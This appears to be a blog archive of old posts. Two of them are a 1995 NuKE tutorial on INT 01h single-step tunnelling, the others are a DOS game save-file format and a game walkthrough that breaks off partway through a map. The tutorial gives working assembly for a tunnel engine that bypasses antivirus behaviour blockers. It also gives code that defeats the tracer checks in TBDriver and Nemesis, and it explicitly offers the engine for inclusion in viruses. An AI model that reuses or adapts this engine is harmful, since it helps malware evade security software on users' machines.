Wednesday, August 23, 1995

Single Step Tunneling Techniques Part 2

Dark Fiber of [NuKE]
presents
Single Stepping Tunnel Techniques
Part 2
Anti-Tracers

  Okey, so you have run the Example.Com program and TBDriver has beeped
to the tune of Example.Com is trying to trace the Interrupt chain, or something
to that effect.  Your first question should be "How the hell does it know we
are tracing it?"

Well, I'm glad you asked! wink

Here is a simple representation


        Code Memory                             Stack Memory

        mov     ax,1234h
        push    ax                              1234h
        mov     bx,5678h                        1234h
        mov     cx,DEADh                        1234h
        push    cx                              DEADh, 1234h
        push    bx                              5678h, DEADh, 1234h

        pop     ax      ;=5678h                 DEADh, 1234h
        pop     bx      ;=DEADh                 1234h
        pop     cx      ;=1234h

Now, even tho we have poped them off memory, what has actually happend is
that the SP add had 2 added to it each time, adjusting where it points to,
but those values ARE STILL IN MEMORY, just below where SP points to currently.

        so, if  we did

        sub     sp,6

        the Stack Memory would look like

        5678h, DEADh, 1234h

The contents of memory have not been altered in any way, just the pointer
to the memory has.


Now, using the above example, this is what happens when we tunnel

assume,   int 1 CS=code, flags=flags, and the # is the ip.

When an INT occurs, it pushes the flags, cs, and ip onto the stack.

        Code Memory                     Stack Memory
cs:=code

1)      mov     ax,1234h
2)     *int     1*                              3, code, flags,
3)      push    ax                              1234h
4)     *int     1*                              5, code, flags, 1234h
5)      mov     bx,5678h                        1234h
6)     *int     1*                              7, code, flags, 1234h
7)      mov     cx,DEADh                        1234h
8)     *int     1*                              9, code, flags, 1234h
9)      push    cx                              DEADh, 1234h
a)     *int     1*                              b, code, flags, DEADh, 1234h
b)      push    bx                              5678h, DEADh, 1234h
c)     *int     1*                              d, code, flags, 5678h, DEADh...
d)      pop     ax      ;=5678h                 DEADh, 1234h
e)     *int     1*                              f, code, flags, DEADh, 1234h
f)      pop     bx      ;=DEADh                 1234h
10)    *int     1*                              11, code, flags, 1234h
11)     pop     cx      ;=1234h


Now, if we were to subtract SP by 6, this time our Stack Memory would look
like this,

        code, flags, 1234

Notice that the bottom 4 bytes are not 5678h, DEADh, thats because when an
Int 1 occurs, it overwrites whats underneath it.

(Hope I'm explaining this so you understand wink

This is how TBdriver detects a tracer is in memory.

Here is the actual TBDriver code

        push    bx
        push    ax
        xchg    ax,bx
        pop     ax
        dec     sp
        dec     sp
        pop     bx
        cmp     ax,bx
        pop     bx

Now, when its run without a tracer its Stack Memory looks like this

assume ax=1234, bx=5678

        Code                            Stack
        push    bx      ;bx=5678h       5678h

        push    ax      ;ax=1234h       1234h, 5678h

        xchg    ax,bx   ;ax=5678h       1234h, 5678h
                        ;bx=1234h

        pop     ax      ;ax=1234h       5678h
                        ;bx=1234h
        dec     sp                      34h, 5678h
        dec     sp                      1234h, 5678h

        pop     bx      ;ax=1234h       5678h
                        ;bx=1234h

        cmp     ax,bx   ;ax=1234h       5678h
                        ;bx=1234h

        pop     bx      ;ax=1234h
                        ;bx=5678h


Underneath the stack, it looks like this

                        1234h,  5678h

Because the SP is decremented, and the stack untouched, 1234h is still
there.

Now, if we traced it....

        Code                            Stack
        push    bx      ;bx=5678h       5678h

       *int     1*                      ip, code, flags, 5678h

        push    ax      ;ax=1234h       1234h, 5678h

       *int     1*                      ip, code, flags, 1234h, 5678h

        xchg    ax,bx   ;ax=5678h       1234h, 5678h
                        ;bx=1234h

       *int     1*                      ip, code, flags, 1234h, 5678h

        pop     ax      ;ax=1234h       5678h
                        ;bx=1234h

       *int     1*                      ip, code, flags, 5678h

        dec     sp                      ags, 5678h
        dec     sp                      flags, 5678h

       *int     1*                      ip, code, flags, flags, 5678h

        pop     bx      ;ax=1234h       ;5678h
                        ;bx=flags
       *int     1*                      ip, code, flags, 5678h

        cmp     ax,bx   ;ax=1234h       5678h
                        ;bx=flags

       *int     1*                      ip, code, flags, 5678h

        pop     bx      ;ax=1234h
                        ;bx=5678h


Now, when SP is decremented, because the last value pushed was the flags,
it overwrote the previously pushed AX in memory...... TB detects this,
notices its not what it expected it to be, and knows we are tracing it.

How do we get around this?  Well, in TBDriver, its structured so that
the first two bytes are a short jump OVER a far jump to the original
DOS Int21h..... So we check for TBcode, and use the far jump data wink

The code to fool TBScan looks like this

;Place this code underneath the ItsNotJmpD: label.
TBKiller:
        cmp     al,0fah                         ;CLI?
        jne     EndTBKiller
        lodsw
        cmp     ax,0fc9c                        ;Is it TBDriver?
        jne     EndTBKiller
        lodsw
        cmp     ax,05053                        ;TBDriver?
        jne     EndTBKiller
        sub     si,10
        mov     w[bp+_rip],si                   ;Run the original FAR jump
        inc     si                              ;skip EAh, so its data.
        jmp     FARJumpData

EndTBKiller:



"Gee, I heard Nemesis is damn tricky?"  Eh? Not any more!  All Nemesis
does to find tracers is do a PUSHF, then check W[BP+xx],0404, JB,
Now, if the TF is on, the FLAGS is > 0404, so, we add a status bit that
tells us that the LAST OPCODE RUN was a PUSHF, so remove the TF wink
Now is that simple or what?


The last method of killing a tracer while its running goes like this.

1.  Get the address of Int 1h
2.  Replace the first byte of the Int 1h seg:offs with an IRET opcode
3.  Remove the trace flag
4.  Restore the frist byte of Int 1h

To do that the code looks like

        mov     ax,03501h
        int     21h
        mov     cl,0CFh
    es: xchg    byte ptr [bx], cl
        pushf
        pop     ax
        and     ax,0feff
        push    ax
        popf
    es: xchg    byte ptr [bx], cl


Now, how do you defeat this?  Well, this *type* is pretty easy to avoid to.
The code goes something like this.

;Under the EndTBKiller: label goes this,

Kill_INT_1_Killers:
        cmp     al,0CDh                                 ;INT call?
        jne     End_Kill_Int_1_Killers
        cmp     byte ptr [si],021h                      ;21?
        jne     End_Kill_Int_1_Killers
        cmp     word ptr [bp+_ax],03501                 ;GET INT 1?
        jne     End_Kill_Int_1_Killers
    cs: or      byte ptr [_Status],2                    ;turn on fake int adres
End_Kill_Int_1_Killers:


;Under  RunNextTest_1:  put the code
        test    byte ptr [_Status],2            ;fake the address?
        je      RunNextTest_2
        xor     byte ptr [_Status],2
        mov     ax, word ptr [Int_01v]          ;get the orig, int 1 address
        mov     word ptr [bp+_bx],ax            ;put in into bx
        mov     ax, word ptr [Int_01v+2]
        mov     word ptr [bp+_es],ax            ;put it into es
        ;Now when it writes a byte to int 1, it
        ;will be writting to the unused int 1.
RunNextTest_2:

But what happens if they get our Int_1 address directly from the IVT?
Well..... you can check if they are putting a byte into our segment,
but, because of the miriad of differnt ways one can put a byte into
a position in memory, well, if you are a masochist you can come up with
that code all by yourself.

Well, I hope I've explained it so that you understand how tunnelers work.
If you want to see a different kind of tunneler check out ART 2.2 whos'
full source code is in vlad#4. This tunneler does not use int 1, but rather
decodes each single opcode.

Ah well, if you didnt understand then i really screwed up.
Posted by Stu on 08/23/1995 at 07:17 AM Permalink to this post.
Filed Under : ComputersDevelopment
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Monday, August 21, 1995

Single Step Tunneling Techniques Part 1

This is an old tutorial I wrote for an electronic magazine..

                             Dark Fiber of [NuKE]

                                   presents

                      Single Stepping Tunnel Techniques

                                    Part 1

                               21st August 1995





File Descriptions:

df-tunnl.doc    - This document
example.asm     - Example program that calls tunnel.asm
example.com     - Compiled example.asm
tunnel.asm      - The basic tunneling engine.
f-Tunnel.asm    - Full blown tunnel engine.
f-exampl.asm    - Example using F-Tunnel
f-exampl.com    - Compiled f-exampl.asm



  Tunneling with INT 01h is an easy thing to do, about as easy as writting
*.COM file viruses, but, for some reason, guides for using INT 01h tunneling
techniques dont exist like *.COM file virus guides do, so I'm goning to remedy
that.


  The Intel and its clone 8086+ compatibles have a nice mode built into them
called Single Stepping, and its VERY handy for programmers like us, who
want to find something specific in memory, for example, the kernal Int 21h
segment:offset, and bypassing other blocking TSR programs, such as Anti-Virus
behaviour blockers.  This tunneling technique is not the be all and end all
of tunneling, as I will discuss some techniques and why they work against
this kind of tunneling further on.


  In order to use the Single Step mode, we need to modify one of the bits
in the flag, and have set up an interrupt.

  The flag is a 16bit register and consists of the following fields.

                  �����������������������������������������������Ŀ
          flags   �--�--�--�--�OF�DF�IF�TF�SF�ZF�--�AF�--�PF�--�CF�
                  �������������������������������������������������
                   0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00

        CF : Carry Flag         Indicates an arithmatic carry
        -- : Unused
        PF : Parity Flag        Indicates an even number of 1 bits
        -- : Unused
        AF : Auxilary Flag      Indicates adjustment needed in BCD numbers
        -- : Unused
        ZF : Zero Flag          Indicates a zero result, or equal comparison
        SF : Sign Flag          Indicates negative result/comparison
        TF : Trap Flag          Controls Single Step operation
        IF : Interrupt Flag     Controls whether interrupts are enabled
        DF : Direction Flag     Controls increment direction on string regs.
        OF : Overflow Flag      Indicates signed arithmatic overflow
        -- : Unused
        -- : Unused
        -- : Unused
        -- : Unused


  The only one we need to concern ourselves with is the TF flag.
When the trap flag is off, well, the Int 01h is not used, but when we turn
the TF to on, the Int 01h routine is called BEFORE each instruction is
executed.

  So, with that order in mind, you must hook the Int 01h, THEN turn on the
trap flag.

  First thing that we must do is to hook Int 1h, then we need to set Int 1h,
set the trap flag to on, then lastly, call a function that we wish to trace.

For the example code presented, we will be tunneling Int 21h.
All the code is for a minimum of an 80286 or greater, because I dont care
for coding for the lesser 8086 machine. wink


;== [ 80286+ | Priming the Tunnel code ] ======================================
; This code will save and hook INT 01h, and put the processor into single
; stepping mode.
;


Int_01v:        dd ?                            ;Old address for Int 01h
Int_21v:        dd ?                            ;the tracer modifies this.

Tunnel:
        pusha                                   ;Save our registers,
        push    es                              ;Assume we are being called
        push    ds                              ;from an external source.

        mov     ax,03521h
        int     021h                            ;Get Int 21h
    cs: mov     word ptr [Int_21v],bx           ;Save Int 21h address
    cs: mov     word ptr [Int_21v + 2],es

        mov     al,01h                          ;Get Int 01h
        int     021h
    cs: mov     word ptr [Int_01v],bx           ;Save Int 01h address
    cs: mov     word ptr [Int_01v + 2],es

        push    cs
        pop     ds                              ;Set DS = CS for OUR Int 01
                                                ;address.
        mov     ah,025h
        mov     dx,offset Int_01Handler         ;Our Int 01h routine
        int     21h                             ;Set our Int 01h routine

        ;This first PUSHF, is used in conjunction with the CALL FAR [Int_21v]
        ;code, as we need a FLAGS on the stack that has not got the TF
        ;turned to ON.

        pushf

        pushf
        pop     ax                              ;Save the flag
        or      ax,0100                         ;Set the TF to ON
        push    ax
        popf                                    ;restore the flags

        ;The moment we POPF the flags, the trace mode is initiated
        ;Because of the way it works, the first instruction immediatly
        ;following the POPF is NOT traced, tracing begins with the
        ;second instruction AFTER the POPF.

        mov     ax,03306                        ;Set AX for INTERNAL_DOS_VERS.
        call    far [Int_21v]                   ;Call the Int 21.
                                                ;we are faking an INT 21 call.

        ;The Int_01Handler routine takes over from here until the trace
        ;is finished. Only when its finished will control pass back to this
        ;piece of code.

        ;When control is passed back, Int_21v will hold the segment:offset
        ;of the last cross segment jump before the trace ended.

        ;Restore the old Int_01h vector
        lds     dx,word ptr [Int_01v]
        mov     ax,02501
        int     21h

        pop     ds
        pop     es
        popa                                    ;Restore registers
        ret

;==============================================================================


  Okey, before I code the Int_1_Handler routine for you, we need to go
over some more theory.

  First, is that the Int_1_Handler routine is designed to check what opcode
is going to be run next, so we need to know what some of the opcodes that
we will need to check for are.


        26h             ES:
        2Eh             CS:
        36h             SS:
        3Eh             DS:
                        These four are the segment overides, and are ALWAYS
                        placed BEFORE the opcode, but the CPU sees them as
                        part of the same opcode, so we must check for these
                        and then siphon them off, to get the byte value of
                        the real opcode.  We also use them for to determine
                        what segment to take data from on things like FAR
                        cross segment jumps.

        9Ch             PUSHF
                        We need to know this so we can get around Nemesis.

        9Dh             POPF
                        We need to check for the POPF because we dont want
                        any other program from turning off the TrapFlag, and
                        thus, dissableling our trace.

        CFh             IRET
                        This is what we use to signal that our trace should
                        end.

        EAh             JMP xxxx:yyyy
        FFh 1Eh         CALL FAR [xxxx]
        FFh 2Eh         JMP FAR [xxxx]

                        These three opcodes are used as cross segment jumps,
                        which commonly hold the seg:offs of the next Int hook.
                        Because the last two (FF1Eh, FF2Eh) take data from
                        the segment overide, or the current DS, we need to
                        know what that is too.


;== [ 80286+ | Tunnel Engine ] ================================================
;This is the actual code that does all the hard work.
;It has been somewhat (20bytes) optimised from the engine I used in Lady Death
;And bugfixed too wink

;These are our register offsets into the SS:SP[BP]

        _rfl    equ 01A
        _rcs    equ 018
        _rip    equ 016
        _ax     equ 014
        _cx     equ 012
        _dx     equ 010
        _bx     equ  0E
        _sp     equ  0C
        _bp     equ  0A
        _si     equ  08
        _di     equ  06
        _es     equ  04
        _ds     equ  02
        _ss     equ  00

Int_01Handler:
        pusha
        push    es
        push    ds                      ;Save ALL registers.
        push    ss                      ;Its not really nesecary to save SS wink
        mov     bp,sp                   ;but this engine was built for expansion

        ;One thing to note, if you want to know the TRUE value of SP, that
        ;is, you must subtract 6 from it, which covers the calling cs, ip & f.
        ;and thats sub w[bp+_sp],6  not sub sp,6 wink

        push    cs
        pop     ds

        test    b[_status],1
        je      RunNextTest_1
        xor     b[_status],1
        and     word ptr [bp+_rfl+2],0feff
        jmp     GetOpCode

RunNextTest_1:


GetOpCode:
        lds     si,word ptr [bp+22]     ;Get the seg:off of the next opcode

        cld                             ;clear direction
        lodsb                           ;get opcode

        ;AL now holds our bytevalue opcode.

        ;Check for a segment overide, and if not, assume its working in DS
        call    GetSegOveride           ;Get the segment overide
                                        ;bx = segment we will be using.

        ;Check the OPCode in AL
        cmp     al,09dh                 ;POPF?
        jne     ItsNotPOPF
        ;They are attempting to POP the flags.  Just incase they have tried
        ;to turn the TF off, we keep it turned on.
        or      word ptr [bp+_rfl+2],0100 ;Keep TRAPFLAG set to on.

ItsNotPOPF:
        cmp     al,09c
        jne     ItsNotPUSHF
    cs: or      byte ptr [_status],1

ItsNotPUSHF:
        cmp     al,0cf                          ;IRET
        jne     ItsNotIRET
        ;An IRET signals the end of our trace.
        ;So turn the TF to off.
        and     word ptr [bp+_rfl],0feff        ;Turn trace flag off

ItsNotIRET:
        cmp     al,0eah                 ;Jmp xxxx:yyyy
        jne     ItsNotFarJump

        ;A Cross segment jump!  Save the seg:offset its going to jump into.
        ;The data for the cross seg jump is contained in the CS: seg.
        ;So, no change is needed.

FarJumpData:
        lodsw
    cs: mov     word ptr [Int_21v+0],ax
        lodsw
    cs: mov     word ptr [Int_21v+2],ax
        jmp     RunNextOpCode


ItsNotFarJump:
        cmp     al,0ffh                 ;jmp d[xxxx]
        jne     ItsNotJmpD

        cmp     byte ptr [si],01eh      ;jmp d[xxxx], type 1
        jne     ItsJmpD
        cmp     byte ptr [si],02eh      ;jmp d[xxxx], type 2
        jne     ItsNotJmpD

ItsJmpD:
        inc     si                      ;skip jump type

        ;This opcode can use a segment override, so use it!
        mov     ds,bx                   ;segment override
        lodsw                           ;get storage offset of seg:offs
        mov     si,ax                   ;
        jmp     FarJumpData             ;treat it like jmp xxxx:yyyy


ItsNotJmpD:
        ;Next opcode here....
        ;Well, we dont need to monitor any more opcodes....

RunNextOpCode:
        pop     ss
        pop     ds
        pop     es                      ;Restore the flags
        popa
        iret                            ;Run the next opcode.



GetSegOveride:
        cmp     al,026h                 ;ES
        jne     NotSegES
        mov     bx,word ptr [bp+_es]
        lodsb                           ;Skip seg overide, to get next opcode
        ret

NotSegES:
        cmp     al,02eh                 ;CS
        jne     NotSegCS
        mov     bx,word ptr [bp+_rcs]
        lodsb                           ;Skip seg overide, to get next opcode
        ret

NotSegCS:
        cmp     al,036h                 ;SS
        jne     NotSegSS
        mov     bx,word ptr [bp+_ss]
        lodsb                           ;Skip seg overide, to get next opcode
        ret


NotSegSS:
        cmp     al,03eh                 ;DS
        jne     NotSegDS
        mov     bx,word ptr [bp+_ds]
        lodsb                           ;Skip seg overide, to get next opcode
        ret

NotSegDS:
        mov     bx,word ptr [bp+_ds]    ;DS
        ret                             ;No override, so assume DS

_status: db 0

;==============================================================================



  The code presented here is, when compiled, somewhere around 200bytes
long.  Which I think is not too big, when you include it in a virus.
The engine presented here was very basic in its structure.  It did not
check for things like

                JMP DOUBLE [BX+4]
                JMP DOUBLE [BX]
                JMP DOUBLE [SI-4]

                etc,
                or

                CALL DOUBLE [BX]

The reason being is that there are lots of other techniques for cross segment
jumping, and including all types would expand the engine considerably, and
they would not really be nesecary in a virus.
Posted by Stu on 08/21/1995 at 07:14 AM Permalink to this post.
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Tuesday, January 02, 1990

Fountain Of Dreams save format

Here is the save file format for Fountain Of Dreams.

===========================================================================

*NB* I wrote these up years ago, when I planned on doing a
     character editor (never did write it) so If you dont
     understand some of my notes, drop me a line.

        also, careful how you play with things neh?
        coz I bummped up my stats n weapons n shit and i remember
        that i had a 20minute battle against 1 snake and i was using
        grenades, flamethrowers and everything, so becarefule what
        you change, the results can be..... _very_ unpredictable.

If anyone uses these stats to make an editor, I'd like a copy smile

Dark Fiber
entropy@mpx.com.au

============================================================================

comment #

        Game : Fountain of Dreams
        Type : SavefileCharacter Editor Techspecs
        Date : July 15th 1990
      Author : Dark Fiber [AIH]

the save game files are actually the files

                DISK1.
                DISK2.
                DISK3.
                DISK4.

backup those four files BEFORE you play the game, then restore them
so no need to re-install


Savefile Layout

Offset  Descr                                           Type
~~~~~~  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ~~~~~~~~
0008    Hour (relative form 0 to 23)                    byte
0009    minute (from 0 to 59)                           byte
000E    Money                                           DWord
0031    Total num chars in party (1=1,etc)              byte
0032    Character Order                                 Byte[5]
        eg: 0,3,1,2 = Character 1, 4, 2, 3   (char-1)
0037    Day (relative from 0)                           Byte


Char offsets = 003a, 0186, 02d2, 041e, 056a
        to work out xx offset for char Z then formula is
        character_offset_Z - ch_off_1 + item_offset
        eg:  2D2 - 3A + 57 = Charisma offset for character 3

003a    Name                                            asciiz[12]
0052    Strength                                        byte
0053    Intelligence                                    byte
0054    Dexterity                                       byte
0055    Will Power                                      byte
0056    Aptitude                                        byte
0057    Charisma                                        byte
0058    Luck                                            byte
005e    Active Skills                                   byte[16]
        Medic
        Lockpick
        Forgery!!
        Climb
        Pharmacy
        Bomb/Alarm Disarm
        Mechanics
        Electronics!!
        Cryptography!!
        Pickpocket!!
        FODDY FOD
        Doctor
        *Chameleon
        *Shriek
        *Stun
        *Corruption!!
006e    Passive Skills                                  byte[16]
        Perception
        Stealth
        Languages
        Demolitions
        Brawling
        Blades
        Handgun
        Rifle
        Auto Weapon
        Boating!!
        Gunsmith
        Swim
        Evasion
        Gambling!!
        *Mutant Recog!!
        *Camouflage
007e    Condition                                       Word
0080    Maximum Condition                               Word
0084    Equipped Item 1                                 byte
0085    Equipped Item 2                                 byte
0086    Equipped Item 3                                 byte
0087    Equipped Item 4                                 byte
        value of FF = no item equipped
        other # = item # in inventory
0088    Rank                                            byte
0092    Affliction                                      byte
        (Bit encoded)
        00000001 - Poisoned
        00000010 - Irradiated
        00000100 - Rabid
        00001000 - Envenomed
        00010000 - Condition  5
        00100000 - Condition  6
        01000000 - Condition  7
        10000000 - Mutant
009c    Items                                           byte[6] x 32
        1 item is 6 bytes long
        usually ones like ammo cartidges have 2nd byte as
        num of bullets in clip, etc.
        00 - Null Item
        01 - Dollars
        02 - .22 Handgun
        03 - .45 Colt Pistol
        04 - 9mm Browning Pistol
        05 - Ochoa's Rifle
        06 - Elephant Gun
        07 - Shotgun
        08 - Uzi
        09 - Clown MegaUzi
        0A - Clown Mega Uzi
        0B - AK-47 Assault Rifle
        0C - .22 Clip
        0D - .38 Clip
        0E - .45 Clip (7)
        0F - .45 Clip (30)
        10 - .50 Clip
        11 - 5.56mm Clip (20)
        12 - 5.56mm Clip (30)
        13 - 7.62mm Clip (5)
        14 - 7.62mm Clip (18)
        15 - 7.62mm Clip (30)
        16 - 9mm Clip (13)
        17 - 9mm Clip (30)
        18 - 9mm Clip (40)
        19 - Shotgun Shells
        1A - Grenade
        1B - Plastic Explosives
        1C - TNT
        1D - Gas Balloons
        1E - Flamethrower
        1F - Napalm Cannister
        20 - Machete
        21 - Meat Cleaver
        22 - Carving Knife
        23 - Cane Knife
        24 - Scalpel
        25 - Pool Cue
        26 - Garcia Sunday Vest
        27 - Shagreen Vest
        28 - Shagreen suit
        29 - Leather Vest
        2A - Leather Suit
        2B - Flak Vest
        2C - Flak Suit
        2D - Rad Suit
        2E - Obeah Necklace
        2F - Kevlar Vest
        30 - Kevlar Suit
        31 - Leather Cap
        32 - Riot Helmet
        33 - Kevlar Derby
        34 - Flo's Chapeau
        35 - Strongbox Key
        36 - Jewelry
        37 - Canteen
        38 - Canteen, Sea Water
        39 - Empty Canteen
        3A - Vial of Sea Water
        3B - Empty Vial
        3C - DeSoto Rum
        3D - DeSoto's XXX Finest
        3E - Chateau Pierrot
        3F - Empty Bottle
        40 - Bottle of Sea Water
        41 - Broken Bottle
        42 - Brewhoe Nostrum
        43 - Voodoo Tonic
        44 - Voodoo Elixir
        45 - Voodoo Cologne
        46 - Guard's Journal
        47 - Imelda's Letters
        48 - Mario's Diary
        49 - DeSoto Vault Key
        4A - Clown Master Key
        4B - Red Key
        4C - Black Key
        4D - Garcia's Key
        4E - Van Gogh painting
        4F - Pollack painting
        50 - Ojnab painting
        51 - Velvet Elvis
        52 - Bust of Beethoven
        53 - Mutant Badge
        54 - Clown Make up
        55 - Silverware
        56 - Spark Plug
        57 - Bandage
        58 - 50' Rope
        59 - .38 Police Special
        5A - Remington 700 Rifle
        5B - M16A1 Assault Rifl
        5C - MAC10
        5D - Shovel
        5E - Mechanic Toolkit
        5F - Electronics Tools
        60 - Obeah Talisman
        61 - DeSoto Amulet
        62 - Miami PD Badge
        63 - Vial, Healing Water
        64 - Vial, Sea Water
        65 - Vial, alcohol
        66 - Canteen, Heal Water
        67 - Canteen, alcohol
        68 - Bottle, Heal Water
        69 - Bottle of alcohol
        6A - Bottle, blue tap
        6B - Bottle, green tap
        6C - Bottle, violet tap
        6D - Canteen, blue tap
        6E - Canteen, green tap
        6F - Canteen, violet tap
        70 - Vial, blue tap
        71 - Vial, green tap
        72 - Vial, violet tap
        73 - Imelda's brooch
        74 - Personal Radio
        75 - Rubber Boots

#
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Monday, January 01, 1990

Curse of the Azure Bonds (Solution)

This is an ooooooold solution I once wrote.
[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]


                                   I  IIIIII   II
                                  III   II     II
                                 IIIII  II IIIIII
                                III III II     II
                               IIII IIIIIIII   II

                      AIH: Australian Institute of Hackers
                                    presents

                            CURSE OF THE AZURE BONDS

                             solution by DARK FiBER

[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]




0. INTROD.
  If you loved Pool then you'll love Curse even more.  Its a big improvement
over Pool and it even has a FIX command.  Some encounters are not listed as its
too much piss farten around to see if an encounter is random or set.


PARTY CONSTRUCTION.
  For this game I used the following brave adventurers; Dwarven Male
FighterThief, Human Female Paladin, Human Male Cleric, Human Male Cleric,
Human Female Mage, Human Male Mage.  Avoid using multi-class characters, while
they are good to start with it takes too long to build up good magicians and
clerics which you need.  I chose to use human classes over other classes as
they are supposed to have unlimited advancement, but of course this is not so
in this game.  Make sure you have a female in your party as she will be very
handy later on in the game.

  When constructing a party you should seriously consider including a Paladin
as they have Protection From Evil spells around them, can turn undead, heal,
cure and cast clerical spells at higher levels.

Fighters: Only good when they are of Dwarven make.  They get Hit Point bonuses
  if they have a constitution of 17+.  They can use any armour and weild most
  weapons.

Paladins: Only humands can be Paladins.  Great character type.  Can Heal, Cure,
  Turn undead and cast clerical spells once they reach a high level.  They have
  Protection from Evil spells permenantly cast opon them.  They can wear any
  armour and weild most weapons.

Rangers: Kind of like a hybrid clericmagician for plants.  Most spells have
  something to do with nature.  I think they are a shit class to be used in
  Curse, but that is my opinion (of which there is a lot through out this
  file.) They get HP bonuses with a constitution of 17+ and they can use most
  weapons and armour.

Clerics: No party should be without one.  Can do the churchy type spells.
  Oopps, prayers I should say.  They are excellent healers and not much else.
  They do not have to find or buy prayers in order to know them.  All spells in
  there grimoire are there opon level advancement.  They can use most armour
  and some weapons.

Magicians: Pretty much like Gods on two legs, especially the very high level
  ones.  These guys do the destructive stuff and leave the healing crap to the
  clerics.  Major drawback is that they can wear no armour and weak weapons
  like daggers, darts and saffs.  (You have to stock them up on Bracers, rings
  of protection and cloaks of displacement and stuff like that.)

Thievs: The extraperceptionary characters, they can detect traps and pick
  locks, hide in the shadows, etc...  They can only use one handed weapons and
  leather armour.  You never know when one might come in handy (As some folk
  found out in Pool when tackling Cadornas Textile House ];-)

  Beware also of falling into the Human Class Change trap.  While it sounds
great there are some drawbacks that you should have noted assuming you read the
manual carefully.

1.  You can't use the skills of the previous class until the current class
   level surpasses the previous class level by one.  EG: FighterCleric must
   have a cleric level of one higher than the fighter, so it must be like 9/10
   or 10/11.

2.  Dual class magicians can't cast spells while wearing armour.  So its not
   much point in having a FighterMagician.  But you can have a FighterCleric.

3.  Its not worth changing class as it takes a long time to build up your
   characters again to a higher level than the previous class.

4.  Until your second class level surpasses your first class level you do not
   gain hit points, even though you can still advance levels.


SAVING
  Make use of your saved game spots, Its good to make the first save in the
list your start save, that is every time you set foot in a new maze save
immediatly and then use your other save spots as intermediate spots.


** P.S.  This game took me a while to map, and I'm bloody glad the mazes are
        not as complex as the Bards Tale or Wizardry series.....


MAPS
  This solution only covers the main maps to complete the game, as such the
Tower of Oxam is not included.  But if you want to find it go to DaggerFalls
and search the area.  You will find a Magic Shop which sells goods cheaper than
anywhere else.  The shopkeeper will tell you where the tower is.  Its tough,
home of the High Imperceptor (Zhents) as well as the Mulmaster beholder corps.
There is a mega big battle with rackshasa, hell hounds and beholders so
beware.....


1. TILVERTON : 1 Level Town, 1 Level Thieves Guild
  Ahhh, waking up in Tilverton, the sleepy Cormyrian town just south of
Shadowdale you realise sombody put a bit of body art in blue decorative tatts
on your arms, and in Alias' tracks (If you have read the book you basically
know what to do.) you must find out about the tatts and how to get rid of them.
Maybe a priest can cast a remove curse spell?  Maybe you should just booze up
at the pub and sleep like a bear in winter.  Our story begins......

  Tool up at the shop, then go visit the priest.  Have a booze up at the pub
then go visit Filani the Sage and tell the truth.  Go back to the inn, rest,
heal, memorise and save.  Now try and leave and you should run into Giogioni
Wyvernspur doing another good impersonation of King Azoun.  Shit on the guards,
and then shit on another wave.  Now head for the nearest alley and follow the
thief.

  Go through the Tilverton thieves guild and go to the treasure room, Here you
will get some dust (Its Dust of Dissappearance), you should save this for the
end fight (Unless of course you are a masochist).  Now make your way to one of
the exits.


LEGEND:
        -- OR | = Wall....
        D OR DD = Door....
        S OR SS = Secret Door....
        T OR TT = Trap....
        # OR ## = Inacessable parts....
        = OR == = Rubble or ruins....
        < OR >
       / OR / = ONE WAY WALLS ALLOWABLE DIRECTION WITH ARROWS
                  ONE WAY DOORS ALLOWABLE DIRECTION WITH ARROWS

NB: When I draw my maps out on graph paper I always try and start at the bottom
   of the paper.....  So the N,S,E,W sign does not always have N at the top...


             +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
        15   D   10         |        |           |           |
             +  +  +  +  +  +  +  +  +--+DD+--+  +  +  +  +  +
        14   D   10         |        |        |  D           |
             +--+--+--+  +  +  +  +  +  +  +  +DD+--+--+--+--+
        13   |        |     |8       |        |     |        |
             +  +  +  +  +  +DD+--+--+  +  +  +  +  +  +  +  +
        12   |   7  7 D              |   11   D     |        |
             +--+DD+--+  +  +  +--+--+  +  +  +DD+--+--+DD+--+
        11   |                 |     |        |  |           |
             +--+--+--+--+  +  +  +  +--+--+--+  +  +--+--+  +
        10   |        |  |     D9    |        |  |  D12   |  |
             +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +
         9   |  |  |  |  |     |     |        |  |  |     |  |
             +  +  +  +  +  +  +--+--+DD+--+DD+  +DD+--+--+DD+
         8   |6       D  D           |  |     |  D     |     |
             +  +  +  +  +  +  +--+--+  +  +  +  +  +  +  +  +
         7   |  |  |  |  |     |     |  |     |  |     |     |
             +  +  +  +  +  +  +  +  +  +  +  +  +--+--+DD+--+
         6   |        |  |     |     |  |     D  |  |        |
             +--+--+--+DD+  +  +  +  +  +--+--+DD+  +  +  +  +
         5   |   5 D     |     D4    |  D  |        |        |
             +--+--+--+--+  +  +  +  +  +  +  +  +  +DD+--+DD+        N
         4   |                 |   4 |  |  |        |  |     |        |
             +DD+--+--+  +  +  +--+DD+  +--+--+--+DD+  +  +  +        |
         3   |3     3 D              |  D     |     |  |     |    W <-+-> E
             +  +  +  +  +  +--+DD+--+  +  +  +  +  +  +DD+--+        |
         2   |        |     |     D1 |  |     |     |  |     |        S
             +--+--+--+  +  +--+  +--+DD+--+DD+--+--+--+  +  +
         1   D   10         |  D  D  |     |     |     |     |
             +  +  +  +  +  +--+  +--+  +  +  +  +  +  +--+DD+
         0   D   10         |  D  D  |     |     |     |     |
             +--+--+--+--+--+--+--+--+--+--+DD+--+--+--+SS+--+
                                            13          13

              0  1  2  3  4  5  6  7  8  9  10 11 12 13 14 15


          1 = Game Start Room
          2 = Wild dreaming man
          3 = Arms and Armour Shop
          4 = Pub
          5 = Priest
          6 = Healer
          7 = Shop
          8 = Training Hall
          9 = Filani
         10 = King AzounGiogioni fight (After you visit Filani)
         11 = Tilverton Guildmaster, big fight with thieves
         12 = Treasure Room
         13 = Tilverton Sewers



2. TILVERTON SEWERS : 1 Level sewer
  Starting at 0,4 Make your way up through the sewers stopping off at all the
points on the map.  The trolls and Neo-Otyugh are tough battles.  If you need
to advance, then stop off at the secret Thievs Guild Training Hall.  When you
meet the Knight of Myth Drannor tell him that you are either a friend of the
princess or that you have allegience to no one.  (I think that was an option),
either way he should let you pass.


                           10       11
                    +--+--+DD+--+--+DD+
